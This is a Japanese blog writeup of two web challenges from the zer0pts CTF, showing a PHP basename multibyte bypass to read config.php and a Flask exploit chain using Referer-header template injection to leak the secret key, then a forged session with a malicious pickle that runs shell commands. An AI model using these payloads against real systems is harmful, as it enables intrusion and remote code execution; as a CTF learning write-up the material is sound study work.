La Vie en Lorse

敗者色の人生

zer0pts CTF Writeup

3月7日から3月9日にかけて開催された zer0pts CTF に参加し,チーム「KUDoS」は431チーム中27位でした.

f:id:Lorse:20200309091411p:plain

私が解いた問題のWriteupを書いていきます.

Web

Can you guess it? (First Blood)

f:id:Lorse:20200309074437p:plain

与えられたURLにアクセスします.

f:id:Lorse:20200309074338p:plain

とりあえずソースコードを見ます.

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

config.phpにflagが書かれており,入力した値がbin2hex(random_bytes(64))と等しければflagが出力されますが,どう考えても不可能です.

ここで,highlight_file(basename($_SERVER['PHP_SELF']))が気になります.index.phpのコードを出力させるためだけならば,わざわざbasename($_SERVER['PHP_SELF'])を引数にしませんし,その前にpreg_matchで弾く処理なんてしません.よって,この箇所でconfig.phpソースコードを表示させれば良さそうです.

しかし,単純にhttp://3.112.201.75:8003/index.php/config.php?sourceにするだけではpreg_matchで弾かれてしまいます.http://3.112.201.75:8003/index.php/config.php/hoge?sourceとすれば,preg_matchは回避出来ますが,今度はbasename($_SERVER['PHP_SELF'])hogeになってしまいます.

ここで,PHPのbasename関数でマルチバイトのファイル名を用いる場合の注意 | 徳丸浩の日記の記事を見ると,basenameロケールを正しく設定しないと,先頭のマルチバイト文字が消えてしまう現象があるようです.試しにhttp://3.112.201.75:8003/index.php/テスト.txt?sourceを入力してみると次のようなエラー表示が出ます.

f:id:Lorse:20200309080015p:plain

basenameの引数には.txtが入っており,マルチバイト文字が消えています.これを利用して.http://3.112.201.75:8003/index.php/config.php/テスト?sourceと入力すると

f:id:Lorse:20200309082025p:plain

フラグが出ました.

flag:zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}

notepad

f:id:Lorse:20200309082257p:plain

与えられたURLにアクセスします.

f:id:Lorse:20200309082412p:plain

とりあえず,配布されたソースコードを見ます.

import flask
import flask_bootstrap
import os
import pickle
import base64
import datetime

app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
bootstrap = flask_bootstrap.Bootstrap(app)

@app.route('/', methods=['GET'])
def index():
    return notepad(0)

@app.route('/note/<int:nid>', methods=['GET'])
def notepad(nid=0):
    data = load()

    if not 0 <= nid < len(data):
        nid = 0

    return flask.render_template('index.html', data=data, nid=nid)

@app.route('/new', methods=['GET'])
def new():
    """ Create a new note """
    data = load()
    data.append({"date": now(), "text": "", "title": "*New Note*"})
    flask.session['savedata'] = base64.b64encode(pickle.dumps(data))

    return flask.redirect('/note/' + str(len(data) - 1))

@app.route('/save/<int:nid>', methods=['POST'])
def save(nid=0):
    """ Update or append a note """
    if 'text' in flask.request.form and 'title' in flask.request.form:
        title = flask.request.form['title']
        text = flask.request.form['text']
        data = load()

        if 0 <= nid < len(data):
            data[nid] = {"date": now(), "text": text, "title": title}
        else:
            data.append({"date": now(), "text": text, "title": title})

        flask.session['savedata'] = base64.b64encode(pickle.dumps(data))
    else:
        return flask.redirect('/')

    return flask.redirect('/note/' + str(len(data) - 1))

@app.route('/delete/<int:nid>', methods=['GET'])
def delete(nid=0):
    """ Delete a note """
    data = load()

    if 0 <= nid < len(data):
        data.pop(nid)
    if len(data) == 0:
        data = [{"date": now(), "text": "", "title": "*New Note*"}]

    flask.session['savedata'] = base64.b64encode(pickle.dumps(data))

    return flask.redirect('/')

@app.route('/reset', methods=['GET'])
def reset():
    """ Remove every note """
    flask.session['savedata'] = None

    return flask.redirect('/')

@app.route('/favicon.ico', methods=['GET'])
def favicon():
    return ''

@app.errorhandler(404)
def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")
    app.logger.info(app.secret_key)

    if referrer is None: referrer = '/'
    if not valid_url(referrer): referrer = '/'

    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

    return flask.render_template_string(html), 404

def valid_url(url):
    """ Check if given url is valid """
    host = flask.request.host_url

    if not url.startswith(host): return False  # Not from my server
    if len(url) - len(host) > 16: return False # Referer may be also 404

    return True

def load():
    """ Load saved notes """
    try:
        savedata = flask.session.get('savedata', None)
        data = pickle.loads(base64.b64decode(savedata))
    except:
        data = [{"date": now(), "text": "", "title": "*New Note*"}]

    return data

def now():
    """ Get current time """
    return datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')


if __name__ == '__main__':
    app.run(
        host = '0.0.0.0',
        port = '8001',
        debug=False
    )

まず気になるのは,投稿内容をpickle化したものをsessionに格納していることです.pickleには任意コード実行の脆弱性(参考:Pythonの外部入力をunpickle化することによる脆弱性を検証した - 脱力系日記)があり,今回はsessionを書き換えることが出来れば,任意コードが実行出来ます.

sessionを書き換えるためには,アプリのSECRET_KEYを知る必要があります.ここで,page_not_found関数に注目します.

@app.errorhandler(404)
def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")
    app.logger.info(app.secret_key)

    if referrer is None: referrer = '/'
    if not valid_url(referrer): referrer = '/'

    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

    return flask.render_template_string(html), 404

def valid_url(url):
    """ Check if given url is valid """
    host = flask.request.host_url

    if not url.startswith(host): return False  # Not from my server
    if len(url) - len(host) > 16: return False # Referer may be also 404

    return True

HTTPヘッダのRefererを文字列に直接formatしてから,テンプレートエンジンでレンダーしています.Refererを偽装することで,referrerを任意の文字列にすることが出来るため,SSTIの脆弱性があります.ただし,valid_urlにより,referrer"http://3.112.201.75:8001/" + "(15文字以内の文字列)"でなければいけません.SECRET_KEYが格納されているconfigを表示させるために,Refererhttp://3.112.201.75:8001/{{config}}に偽装して,404エラーになるページにアクセスします.

f:id:Lorse:20200309085731p:plain

少々見づらいですが,SECRET_KEYはb'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'であることが分かります.(ちなみに,valid_urlによる文字数制限がなければ,SSTIによって任意のコマンドが実行できます)

SECRET_KEYが判明したので,sessionを書き換えていきます.SECRET_KEYを同じものにしたFlaskアプリをローカルで立ち上げて,任意コードを実行するpickleを格納したsessionを作成します.

import flask
import pickle
import base64
import datetime
app = flask.Flask(__name__)
app.secret_key = b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'


class Exploit(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.check_output, (['ls'],))


@app.route('/', methods=['GET'])
def index():
    data = [{"date": now(), "text": Exploit(), "title": "*New Note*"}]
    code = pickle.dumps(data)
    flask.session['savedata'] = base64.b64encode(code)


def now():
    """ Get current time """
    return datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')


if __name__ == "__main__":
    app.run(
        host='0.0.0.0',
        port='8002',
        debug=False
    )

作成したsessionに書き換えると,lsコマンドが実行され,ファイル一覧が表示されます.

f:id:Lorse:20200309090934p:plain

flagファイルを表示するためにExploitクラスを修正します.

class Exploit(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.check_output, (['cat', 'flag'],))

新しく作ったsessionに書き換えると,cat flagコマンドが実行され,flagが表示されます.

f:id:Lorse:20200309090719p:plain

flag:zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}